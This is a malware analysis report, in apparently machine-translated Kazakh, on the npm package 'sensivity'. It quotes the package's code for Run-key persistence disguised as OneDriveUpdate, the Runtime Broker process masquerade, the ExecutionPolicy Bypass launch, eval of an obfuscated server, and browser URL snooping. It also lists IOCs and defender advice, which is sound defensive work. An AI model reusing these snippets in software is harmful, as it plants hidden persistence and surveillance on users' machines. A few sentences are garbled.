TL; DR
npm пакеті сезімталдық өзін «Сезімталдықты басқару панелі» деп сипаттайды. Windows жүйесінде ол қашықтан басқару және бақылау құралы ретінде әрекет етеді.
Оның кіру нүктесі, launcher.js, өз процесін Runtime Broker деп қайта атайды, автоматты түрде іске қосылатын Run-key мәнін жазады. OneDriveUpdate жасырын VBScript арқылы пакетті қайта іске қосады, PowerShell бағдарламасын келесімен іске қосады -ExecutionPolicy Bypass, содан кейін 6.87 МБ жергілікті модульмен бірге 171 КБ шатастырылған сервер жүктемесін бағалайды, sens.node.
Ол TCP 3000 портында телефонды жұптастыруды басқару панеліне қызмет көрсетеді және Windows UIAutomation арқылы белсенді браузердің мекенжай жолағының URL мекенжайын оқиды, бір қатты кодталған YouTube бейнесін қарайды.
Бұрын сол жақта қара жәшіктер деп оқылған екі бөлік енді шешілді. Шашыраңқы сервер, server.obf.js, obfuscator.io RC4 жолдық массив схемасын пайдаланады; оның декодерін офлайн режимінде қайта іске асыру (JavaScript орындалмайды) бір сыртқы соңғы нүктені қалпына келтіреді — https://izopi.com/check.php — қол қойылған лицензия жауаптарын тексеру үшін пайдаланылатын ендірілген RSA ашық кілтімен бірге.
Жергілікті модуль, sens.node, жинақталмаған: оның импорттау кестесі және ендірілген жолдары оны қашықтан өңдеуді енгізу және жадты оқу/жазу арқылы басқарылатын aimbot, ESP (қабырғаға бұзу) және триггербот мүмкіндіктерін қамтамасыз ететін DirectX 11 / Dear ImGui ойын ішіндегі қабаттастыру ретінде анықтайды.
Оның ішіндегі жолдар GTA V / FiveM ойынына сәйкес көлік нысандары мен карта орналасқан жерлеріне сілтеме жасайды. npm пакеті - сол бастапқы модульдің айналасындағы жеткізу және тұрақтылық орамасы.
Анықтаушы сигнал техникалық емес, операциялық: бір ғана анонимді баспагер бір пакеттің шамамен жетпіс нұсқасын ұсынды — 2.5.0 арқылы 2.5.69 — бірнеше күн бойы, әрқайсысы бірдей ұшырғышты алып жүрді.
Орнату жоқ hooksПайдалы жүктеме тек пакет іске қосылған кезде ғана іске қосылады.
Шабуыл: ол қалай жұмыс істейді
sensivity он файлды жібереді. package.json файлы сирек: репозиторий өрісі жоқ, лицензия жоқ, негізгі және екі bin бүркеншік аты (sensivity, sens) барлығы launcher.js файлына бағытталған және node launcher.js файлының бастапқы скрипті бар. Postinstall немесе preinstall жоқ. npm install кезінде ештеңе іске қосылмайды. Төменде сипатталған әрекет пайдаланушы пакетті іске қосқан кезде орындалады — bin shim, start скрипті немесе require арқылы.
Тарболда іске қосу құрылғысы, түсініксіз сервер, жергілікті модуль, Visual Basic скрипті және басқару панеліне арналған public/web каталогы бар. launcher.js - оқылатын оркестратор; орындалу уақытында маңызды логика ол жүктейтін екі блокта - түсініксіз серверде және компиляцияланған жергілікті модульде, екеуі де төменде қарастырылған.
Маскарадты өңдеу және жалған OneDrive жаңартушысы
Орындалуының басында launcher.js өзінің процесінің атауын екі рет орнатады:
javascript process.title = 'Runtime Broker'; Runtime Broker - қолданба рұқсаттарын реттейтін заңды Windows процесі (RuntimeBroker.exe). Node процесін оған сәйкестендіру үшін қайта атау Task Manager бағдарламасына тез шолу жасау ерекше ештеңені көрсетпейді дегенді білдіреді.
Тұрақтылық тікелей тізілім API арқылы емес, PowerShell арқылы жазылады:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Автоматты түрде іске қосу мәні OneDriveUpdate деп аталады және ол бумаға тікелей бағытталмайды. Ол OneDrive.Standalone.Updater.vbs файлын іске қосатын wscript.exe файлына бағыттайды. Бұл скрипт node launcher.js файлын жасырын терезеде қайта іске қосады. Run-key атауы да, VBScript файл атауы да Microsoft брендингін алады, сондықтан авто іске қосу жазбасы әдеттегі OneDrive тапсырмасы ретінде оқылады.
Орындау саясатын айналып өту мүмкіндігі бар PowerShell
Іске қосу құрылғысы PowerShell-ге бірнеше рет хабарлама жібереді. Сканерлер маңызды деп белгілейтін мәселе - орындау саясаты өшірілген генерацияланған .ps1 файлын іске қосу:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); ExecutionPolicy Bypass сол шақыру үшін жергілікті скрипт қолтаңбасын тексеруді жояды. Жасалған скрипттер келесі бөлімде сипатталған браузерді бақылау және терезені анықтау жұмыстарын өңдейді.
Бұрмаланған сервер және жергілікті модуль
Орнатқаннан кейін, launcher.js өзінің нақты пайдалы жүктемесін жүктейді және орындайды:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));server.obf.js файлында 171 КБ _0x-массив обфускасы бар — әрбір жол мен идентификатор араласқан массивке индекспен ауыстырылып, содан кейін орындалу уақытында сілтемесі алынып тасталған JavaScript үлгісі. Схема obfuscator.io жасаған RC4 нұсқасы: base64 бір декодер функциясы массив жазбасын декодтайды, содан кейін RC4 оны әр шақыру кілтімен шифрын ашады. Сол декодерді бөлек скриптте қайта енгізу — тек алынған 821-жазба жол массивінде қайта енгізуді іске қосу, ешқашан пакеттің өз JavaScript-ін емес — оны таза түрде ашады. Қандай беттер қарапайым, бірақ...cisive: LICENSE_URL тұрақтысына тағайындалған бір сыртқы URL, https://izopi.com/check.php`; ендірілген RSA PUBLIC_KEY_PEM`; жергілікті панель /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off және /trigger/status жолын бағыттайды; және child_process, crypto және [Sensivity] sens.node жүктелген жолдары — соңғысы іске қосу құрылғысы жүктелген бағдарлама модуліне қайта жазатын дәл журнал жолы. Соңғы нүкте лицензияны тексеру болып табылады: клиент идентификаторды орналастырады (бұғатталған сервер Discord ID: %s жолын пішімдейді) және RSA кілті сервердің қол қойылған жауабын тексереді.
sens.node - 6.87 МБ компиляцияланған жергілікті қосымша, және ол жинақталмаған - бөлім энтропиясы 5.6–6.6 аралығында және PE импорттау және экспорттау кестелері сақталған, сондықтан оның мүмкіндіктерін тікелей оқуға болады. Ол napi_register_module_v1 экспорттайды, standard N-API түйіні, сондықтан бағаланған сервер оны қарапайым талаппен жүктейді. Оның импорттау кестесі - tell. KERNEL32-ден ол OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules және Process32First/NextW функцияларын тартады — басқа процесті табуға, оның ішінде жадты бөлуге және сол жадты оқуға немесе жазуға арналған канондық жиынтық. USER32-ден ол GetAsyncKeyState, GetKeyState, mouse_event және SetCursorPos функцияларын тартады; ол экрандағы қабаттасу үшін d3d11.dll, D3DCOMPILER_43 және dwmapi файлдарын және желілік қоңыраулар үшін толық WINHTTP жиынтығын байланыстырады. Оның ендірілген жолдары функциялар жиынтығын екіұштылықсыз атайды: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected және Dear ImGui баннері Dear ImGui 1.91.3 WIP. Grapeseed Medical Clinic сияқты орналасқан жері мен нысан жолдары және vehicle-ESP сөздігі GTA V / FiveM ойынымен сәйкес келеді.
Бөлу іс жүзінде әдейі жасалған: оқылатын launcher.js тек сканер оңай оқитын бөліктерді ғана сақтайды — тұрақтылық, маскарад, eval шақыруының өзі — ал обфускация бір сыртқы хостты орындау уақыты контактілерін жасырады, ал екілік файл ойын қабатын және процесті енгізу логикасын сақтайды. Іске қосу құрылғысы — жұқа, аудиттелетін қабық; обфускацияланған сервер желінің сәйкестігін жасырады; жергілікті модуль — пайдалы жүктеме. Біз екілік файлдың импорты мен жолдарын оқылған деп сипаттаймыз; біз олардан оператордың мақсатын шығармаймыз.
3000 портындағы телефонды жұптастыруды басқару панелі
Іске қосу құрылғысы TCP 3000 портындағы жергілікті веб-серверді басқарады және оны синглтон ретінде қарастырады. Ол бар тыңдаушыны сұрайды және байланыстыру алдында оны тазартады:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Панельге http://localhost:3000 мекенжайы бойынша қол жеткізуге болады, оның ішінде http://192.168.1.16:3000 LAN резервтік URL мекенжайы бар. public/ каталогы және панельдің әрекеті QR жұптастыру ағынына сәйкес келеді: телефон кодты сканерлейді және хостқа қашықтан басқару құралы ретінде байланысады. Іске қосу құрылғысында сыртқы командалық және басқару домені ашық мәтінде көрсетілмейді - бірақ жоғарыдағы ажырату көрсетілгендей, ажыратылған серверде біреуі бар: izopi.com лицензиясының соңғы нүктесі. Панельдің өзі жергілікті және LAN ауқымымен жабдықталған; жалғыз шығыс хост - бұл лицензияны тексеру.
Бөлінген супервайзер/жұмысшы моделі процесті белсенді ұстайды. Іске қосу құрылғысы SENSIVITY_SUPERVISOR және SENSIVITY_WORKER орта жалаушаларымен қайта іске қосылады, әрбір бала жасырын түрде іске қосылады, сондықтан бір процесті жою бақылаушыға оны қайта іске қосуға мүмкіндік береді.
Браузерді бақылау және YouTube сигналы
Ең нақты әрекет - браузерді бақылау. launcher.js бағдарламасы Windows UIAutomation бағдарламасын іске қосылған браузердің мекенжай жолағын оқуға бағыттайтын PowerShell бағдарламасын жасайды:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern пайдаланушы интерфейсі элементінің мәтіндік мазмұнын қайтарады. Браузердің мекенжай жолағын өңдеу басқару элементіне қолданылғанда, ол зардап шегуші қазіргі уақытта қарап отырған URL мекенжайын қайтарады — браузер кеңейтімінсіз, дискідегі профильге тимей және API ілмегінсіз. Жасалған скрипт $browserNames тізімін қайталайды және алдыңғы пландағы кез келген браузердің URL мекенжайын немесе терезе тақырыбын шығарады.
Бұл URL мекенжайы бір қатаң кодталған нысанаға қарсы тексеріледі:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Іске қосу құрылғысы YouTube көрсететін браузер терезесі үшін үш секундтық циклде сауалнама жүргізеді, ал жасалған PowerShell сол бейне идентификаторына сәйкес келетін Get-YouTubeBrowser / Test-TargetYouTubeUrl жұбын қамтиды. Байқалатын әсер екі жақты: белсенді шолу URL мекенжайы құрбанның экранынан оқылады және хосттың бір нақты YouTube бейнесімен әрекеттесуі анықталады. Біз механизм мен нысананы сипаттаймыз; олардан ешқандай себеп шығармаймыз.
Мекенжай жолағында оқылған мәнді сканер sensitive_data_enumeration деп белгілейді — бұл Process::env және желіге қабілетті жұмыс уақытын беретін UIAutomation көзі. Ол оқшауланған түрде қауіпсіз көрінеді және деректер өмірлік циклі UIAutomation көзінен түсініксіз серверге дейін бақыланғаннан кейін ғана бақылауға өтеді.
Уақыт шкаласы және нұсқа эволюциясы
Сезімталдық бір реттік жүктеу емес. Баспагердің аккаунтында осы бір пакеттің шамамен жетпіс жарияланған нұсқасы бар, және шолу терезесінде жаңалары келіп түсе берді. Іске қосу құрылғысы 2.5.x желісінде бір функциядан екінші функцияға дейін өсіп келеді, ал оның тұрақтылығы мен пайдалы жүктемесі тұрақты болып қалады.
| Күні (UTC) | Байқалған нұсқалар | Іске қосу құрылғысының күйі |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Негізгі QR панелін іске қосу құралы; Іске қосу пернесінің тұрақтылығы; шатастырылған серверді бағалау. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Саусақ ізі бірдей; консоль ізін басу. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | YouTube-те бекітілген мақсатты аудиторияны қосады wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Барлық диапазондағы олқылықтарды толтыратын қайта жариялау; басшы/жұмысшы бақылаушысы. |
Жүктелген өкілдер бойынша іске қосу құралын оқу — 2.5.0, 2.5.36 және 2.5.69 — төрт деңгейді көрсетеді. Ең алғашқы құрастырмаларда QR жұптастыру іске қосу құралының базалық нұсқасы бар. 2.5.33 нұсқасынан бастап UIAutomation мекенжай жолағындағы жинаушы пайда болады. 2.5.58 нұсқасынан бастап супервайзер-басқару қабаты қосылады. 2.5.64 нұсқасынан бастап бөлек супервайзер/жұмысшы бақылаушысы жиынды аяқтайды. Барлық жерде төрт нәрсе ешқашан өзгермейді: OneDriveUpdate Run пернесі, OneDrive.Standalone.Updater.vbs дроппері, eval'd server.obf.js және sens.node жергілікті модулі.
2026-06-05 толқыны бірнеше күн бұрын расталған нұсқалардан төмен орналасқан төмен нұсқа нөмірлерін — 2.5.0-ден 2.5.15-ке дейін — қайта жариялауымен ерекшеленеді. Нәтижесінде тізілімде 2.5.x жолының жалғасы пайда болады, әрбір нұсқада бірдей іске қосу құрылғысы болады.
Ымыраға келу көрсеткіштері
Төмендегі барлық индикаторлар tarball пакетінен тікелей оқылды. Оқылатын іске қосу құрылғысында тек циклдік кері байланыс және бір жеке LAN мекенжайы бар; жалғыз сыртқы хост атауы, izopi.com, server.obf.js файлын офлайн режимінде deobfuscating арқылы қалпына келтірілді.
| түрі | Индикатор | Ескертулер |
|---|---|---|
| пакет | npm:sensivity (≈70 нұсқа, 2.5.0-2.5.69) | Бір пакетті баспагер; репозиторий жоқ; лицензиясыз. |
| файл | launcher.js | Оқылатын оркестратор; негізгі және бин нысанасы. |
| файл | server.obf.js (≈171 КБ) | obfuscator.io RC4 жолдық массивінің пайдалы жүктемесі, жүктеледі eval(fs.readFileSync(...)). |
| файл | sens.node (≈6.87 МБ) | PE32+ x86-64 N-API түйіні қосымшасы; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| файл | OneDrive.Standalone.Updater.vbs | Жасырын қайта іске қосу құралы (node launcher.js). |
| Желі | https://izopi.com/check.php | Лицензия/авторизацияның соңғы нүктесі шатастырылған серверден қалпына келтірілді; ендірілген RSA ашық кілті жауаптарды тексереді. |
| қабілеттілік | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Қашықтан өңдеуді енгізу және жадты оқу/жазу мүмкіндігі. |
| қабілеттілік | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | DirectX 11 / ImGui ойын қабаты aimbot, ESP және triggerbot мүмкіндіктерін іске асырады. |
| Тіркеу | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Автоматты түрде іске қосу мәні көрсетілген wscript.exe және VBScript іске қосу құралы. |
| процесс | process.title = 'Runtime Broker' | Windows Runtime Broker процесінің заңды нұсқасы ретінде жасырылады. |
| Мінез-құлық | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Жасалынған PowerShell сценарийлері үшін пайдаланылатын орындау саясатын айналып өту. |
| Мінез-құлық | UIAutomation ValuePattern шолғыштың мекенжай жолағын оқу | Алдыңғы жоспардағы шолғыш терезесінің URL мекенжайын оқиды. |
| Мінез-құлық | Мақсатты бейне идентификаторы wJWta2lO0Lw; 3 секундтық YouTube сауалнамасы | Бекітілген әрекеттесуді бақылау сигналы. |
| Желі | http://localhost:3000, Кері шегіну http://192.168.1.16:3000 | QR жұптастыруды басқару панелі жергілікті және жергілікті желіде көрсетілген. |
| қоршаған орта | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Бөлінген бақылау процесін үйлестіру жалаушалары. |
Атрибуция, әсер және қорғаушылар
Пакет расталмаған Gmail мекенжайы болып табылатын бір npm тіркелгісі арқылы жарияланады. Тіркелгіде тізілім беделі өте теріс, тек осы бір пакетті сақтайды және жариялайды және байланыстырылған дереккөз репозиторийі жоқ. Біз электрондық поштаның меншік құқығын растамадық және науқанды кез келген аталған тұлғаға емес, баспагер тіркелгісіне жатқызамыз. Іске қосу құрылғысында ашық мәтіндік инфрақұрылым жоқ, бірақ енді бір сыртқы хост белгілі: шатастырылған сервер лицензияны тексеру үшін izopi.com сайтымен байланысады, ал бастапқы модуль - кері нұсқаулық бойынша емес, импорт кестесінен және жолдарынан оқылады - бұл басқа процестің жадына енгізетін және оқитын ойын қабаты.
Бақыланатын әсер басқару панелінің утилитасын күтіп, сезімталдықты орнатып, іске қосатын Windows пайдаланушыларына түседі. Бұл хосттарда пакет OneDrive тапсырмасы ретінде жасырынған автоматты түрде іске қосылатын тұрақтылықты орнатады, жүйелік процесті имитациялау үшін өзін өзгертеді, пайдаланушы қарап отырған кез келген нәрсенің URL мекенжайын оқиды және машинаны жергілікті желі арқылы қашықтан басқару құралына байланыстыратын жұптастыру панелін орнатады. Супервайзер/жұмысшы бақылау құралы бір процесті жою оны жоймайтынын білдіреді; Run-key жазбасы қайта жүктеуден кейін де сақталады. macOS және Linux іске қосу құралы тарапынан нысанаға алынбайды — тұрақтылық, PowerShell және UIAutomation жолдары тек Windows үшін арналған.
Жетпіс нұсқаның азаюы - назар аударуға тұрарлық үрдіс. Бір пакетті бірнеше күн ішінде ондаған рет қайта жариялау, оның ішінде жойылған нұсқа нөмірлерінен төмен нұсқа нөмірлерін қайта толтыру, жоюлар арасында тізілімде тірі көшірмені сақтайды және нұсқа бекітілген блок тізімдерін бұзады. sensivity@2.5.61 үшін блок тізімі жазбасы келесі күні қайта жарияланған sensivity@2.5.3-ке қарсы ештеңе жасамайды.
Қорғаушылар келесі әрекеттерді жасай алады:
- Регистр-прокси және CI рұқсат тізімдерінде пакет атауының сезімталдығын толығымен блоктаңыз. Жеке нұсқаларды бекіту қайта жариялау ырғағына әсер етпейді; атау тұрақты индикатор болып табылады.
- Деректерінде wscript.exe файлын әрбір пайдаланушы жолындағы .vbs файлына қарсы шақыратын OneDriveUpdate деп аталатын іске қосу мәнін іздеңіз. Түпнұсқа OneDrive жаңарту құралы осылай тіркелмеген.
- process.title файлы Runtime Broker болып табылатын Node.js процесі туралы ескерту. Нағыз брокер - Node жұмыс уақыты емес, RuntimeBroker.exe.
- Компиляцияланған .node қосымшасын және .obf.js файлының eval(fs.readFileSync(…)) жіберетін пакеттердің npm орнату уақытын алуларын белгілеңіз. Бұл жұптастыру — түсініксіз мәтіндік жүктеменің жанында жүктелген мөлдір емес табиғи екілік файл — мұндағы құрылымдық ақпарат, кез келген IOC жолынан тәуелсіз.
- Күтпеген Node процесі арқылы пайда болған 3000 портындағы кез келген жергілікті байланысты тыңдаушыны басқарылатын Windows соңғы нүктелерінде күдікті деп қарастырыңыз.
- Әзірлеушіден немесе соңғы пайдаланушы хосттарынан izopi.com сайтына шығыс сұрауларды бұғаттау немесе ескерту; бұл пакеттің жалғыз сыртқы нүктесі, оған /check.php мекенжайы бойынша түсініксіз серверден қол жеткізіледі.
- Кез келген .node қондырмасы үшін оған сенбес бұрын импорттау кестесін тексеріңіз. OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread тіркесімі пакеттің не істейтінін мәлімдемесіне қарамастан, қашықтан өңдеуді енгізу болып табылады; мұнда ол Direct3D қабаттасуының және aimbot/ESP/triggerbot жолдарының жанында орналасқан.
Статикалық талдау үшін pipelines, сенімділік формасы нұсқаның өзгеруіне байланысты тұрақты: желілік емес орнату профилі, белгілі жүйелік процесс атауына процесс атауын тағайындау, PowerShell арқылы іске қосу пернесін жазу және дискіден оқылған файлды бағалау. Олардың ешқайсысы келесі қайта жариялау кезінде бұрыла алатын доменге, IP мекенжайына немесе нұсқа нөміріне тәуелді емес.
Әдебиеттер тізімі
[npm: сезімталдық] – осында талқыланған пакет нұсқасының тізілім беті; жойылуы мүмкін.
